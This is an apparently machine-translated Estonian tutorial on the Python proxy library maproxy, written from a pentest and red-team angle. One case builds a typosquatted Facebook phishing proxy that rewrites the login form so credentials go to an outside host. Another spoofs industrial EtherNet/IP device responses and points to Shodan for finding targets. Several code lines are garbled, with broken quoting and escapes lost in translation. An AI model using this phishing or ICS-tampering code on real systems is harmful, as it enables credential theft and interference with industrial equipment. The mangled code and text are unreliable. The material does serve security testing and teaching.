Töötle võrguandmeid lennult

Artikli tõlge valmis kursuse alguse eelõhtul "Pentest. Tungimise testimise praktika".

Töötle võrguandmeid lennult

Kokkuvõte

Erinevat tüüpi turbehinnangud, alates tavapärasest läbitungimistestist ja Red Teami operatsioonidest kuni asjade Interneti/ICS-seadmete ja SCADA-ni häkkimiseni, hõlmavad töötamist binaarsete võrguprotokollidega, st sisuliselt võrguandmete pealtkuulamist ja muutmist kliendi ja sihtmärgi vahel. Võrguliikluse nuusutamine ei ole keeruline ülesanne, kuna meil on sellised tööriistad nagu Wireshark, Tcpdump või Scapy, kuid muutmine näib olevat töömahukam ülesanne, kuna meil peab olema mingi liides võrguandmete lugemiseks, filtreerimiseks ja muutmiseks. see lennult ja saatke see peaaegu reaalajas sihtrühmale tagasi. Lisaks oleks ideaalne, kui selline tööriist töötaks automaatselt mitme paralleelse ühendusega ja oleks skriptide abil kohandatav.

Ühel päeval avastasin tööriista nimega maproxy, tegi dokumentatsioon mulle selle kiiresti selgeks maproxy - just see, mida ma vajan. See on üsna lihtne, mitmekülgne ja hõlpsasti konfigureeritav TCP-puhverserver. Testisin seda tööriista mitmes üsna keerukas rakenduses, sealhulgas ICS-seadmetes (mis genereerivad palju pakette), et näha, kas see saab hakkama paljude paralleelsete ühendustega, ja tööriist toimis hästi.

See artikkel tutvustab teile võrguandmete kiiret töötlemist maproxy.

Vaadata

Vahend maproxy põhineb Tornadol, Pythoni populaarsel ja küpsel asünkroonsel võrguraamistikul.

Üldiselt võib see töötada mitmes režiimis:

  • TCP:TCP - krüptimata TCP-ühendused;
  • TCP:SSL и SSL:TCP – ühesuunalise krüptimisega;
  • SSL:SSL - kahesuunaline krüptimine.

See tuleb raamatukoguna. Kiireks alustamiseks võite kasutada näidisfaile, mis kajastavad peamist raamatukogu funktsioonid:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Juhtum 1 – lihtne kahesuunaline puhverserver

Põhineb tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Vaikimisi ProxyServer() võtab kaks argumenti – ühenduse asukoht ja sihtport. server.listen() võtab ühe argumendi - sissetuleva ühenduse kuulamise porti.

Skripti täitmine:

# python tcp2tcp.py

Testi käivitamiseks loome puhverserveri skripti kaudu ühenduse kohaliku SSH-serveriga, mis kuulab 2222/tcp porti ja ühendub standardpordiga 22/tcp SSH serverid:

Töötle võrguandmeid lennult

Tervitusbänner teavitab teid, et meie näidisskript on edukalt võrguliiklust puhverserveris edastanud.

Juhtum 2 – andmete muutmine

Veel üks demo skript logging_proxy.py ideaalne võrguandmetega suhtlemiseks. Faili kommentaarid kirjeldavad klassi meetodeid, mida saate oma eesmärgi saavutamiseks muuta:

Töötle võrguandmeid lennult

Kõige huvitavam on siin:

  • on_c2p_done_read – andmete pealtkuulamiseks teel kliendilt serverisse;
  • on_p2s_done_read - vastupidine.

Proovime muuta SSH bännerit, mille server kliendile tagastab:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Käivitage skript:

Töötle võrguandmeid lennult

Nagu näete, eksitati klienti, kuna tema jaoks muudeti SSH-serveri nimi «DumnySSH».

Töötle võrguandmeid lennult

3. juhtum – lihtne andmepüügi veebileht

Selle tööriista kasutamiseks on lõputult palju võimalusi. Seekord keskendume millelegi praktilisemale Red Teami operatsioonide poolelt. Imiteerime sihtlehte m.facebook.com ja kasutage kohandatud domeeni tahtliku kirjaveaga, näiteks m.facebok.com. Demonstreerimiseks oletame, et domeen on meie poolt registreeritud.

Loome krüptimata võrguühenduse oma ohvrite puhverserveri ja SSL-vooga Facebooki serverisse (31.13.81.36). Selle näite toimimiseks peame asendama HTTP hosti päise ja sisestama õige hostinime ning keelame ka vastuse tihendamise, et saaksime sisule hõlpsasti juurde pääseda. Lõppkokkuvõttes asendame HTML-vormi nii, et sisselogimismandaadid saadetakse Facebooki serverite asemel meile:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/et/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Kokkuvõttes:

Töötle võrguandmeid lennult

Nagu näete, suutsime algse saidi edukalt asendada.

Juhtum 4 – Etherneti/IP portimine

Olen juba mõnda aega tegelenud tööstusseadmete ja tarkvaraga (ICS/SCADA), nagu programmeeritavad kontrollerid (PLC), I/O moodulid, ajamid, releed, redelprogrammeerimiskeskkonnad ja palju muud. See ümbris on neile, kellele meeldivad tööstuslikud asjad. Selliste lahenduste häkkimine hõlmab aktiivset võrguprotokollidega mängimist. Järgmises näites tahaksin näidata, kuidas saate muuta ICS/SCADA võrguliiklust.

Selleks vajate järgmist.

  • võrgu nuusutaja, näiteks Wireshark;
  • Ethernet/IP või lihtsalt SIP-seade, leiate selle Shodani teenuse abil;
  • Meie skript põhineb maproxy.

Kõigepealt vaatame, milline näeb välja tüüpiline CIP-i (Common Industrial Protocol) identifitseerimisvastus:

Töötle võrguandmeid lennult

Seadme identifitseerimine toimub Ethernet/IP-protokolli abil, mis on tööstusliku Etherneti protokolli täiustatud versioon, mis hõlmab juhtprotokolle nagu CIP. Muudame esiletõstetud ID-nime, mis on ekraanipildil nähtav "NI-IndComm Etherneti jaoks" kasutades meie puhverserveri skripti. Võiksime skripti uuesti kasutada logging_proxy.py ja samamoodi muuta klassi meetodit on_p2s_done_read, sest soovime, et kliendil oleks näha teistsugune identiteedinimi.

Kood:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Sisuliselt küsisime seadme tuvastamist kaks korda, teine ​​vastus oli algne ja esimest muudeti käigu pealt.

Ja viimane

Minu arvates maproxy Mugav ja lihtne tööriist, mis on kirjutatud ka Pythonis, nii et usun, et ka teile on selle kasutamisest kasu. Muidugi on võrguandmete töötlemiseks ja muutmiseks keerukamaid tööriistu, kuid need nõuavad ka rohkem tähelepanu ja on tavaliselt loodud konkreetse kasutusjuhu jaoks, nt. Muraena, Modlishka või evilginx kolmandaga sarnaste juhtumite puhul või canape viimase juhtumi jaoks. Ühel või teisel viisil, abiga maproxy saate kiiresti rakendada oma ideid võrguandmete pealtkuulamiseks, kuna näidisskriptid on väga selged.

Windows AD autentimismehhanismide testimine

Allikas: www.habr.com

Lisa kommentaar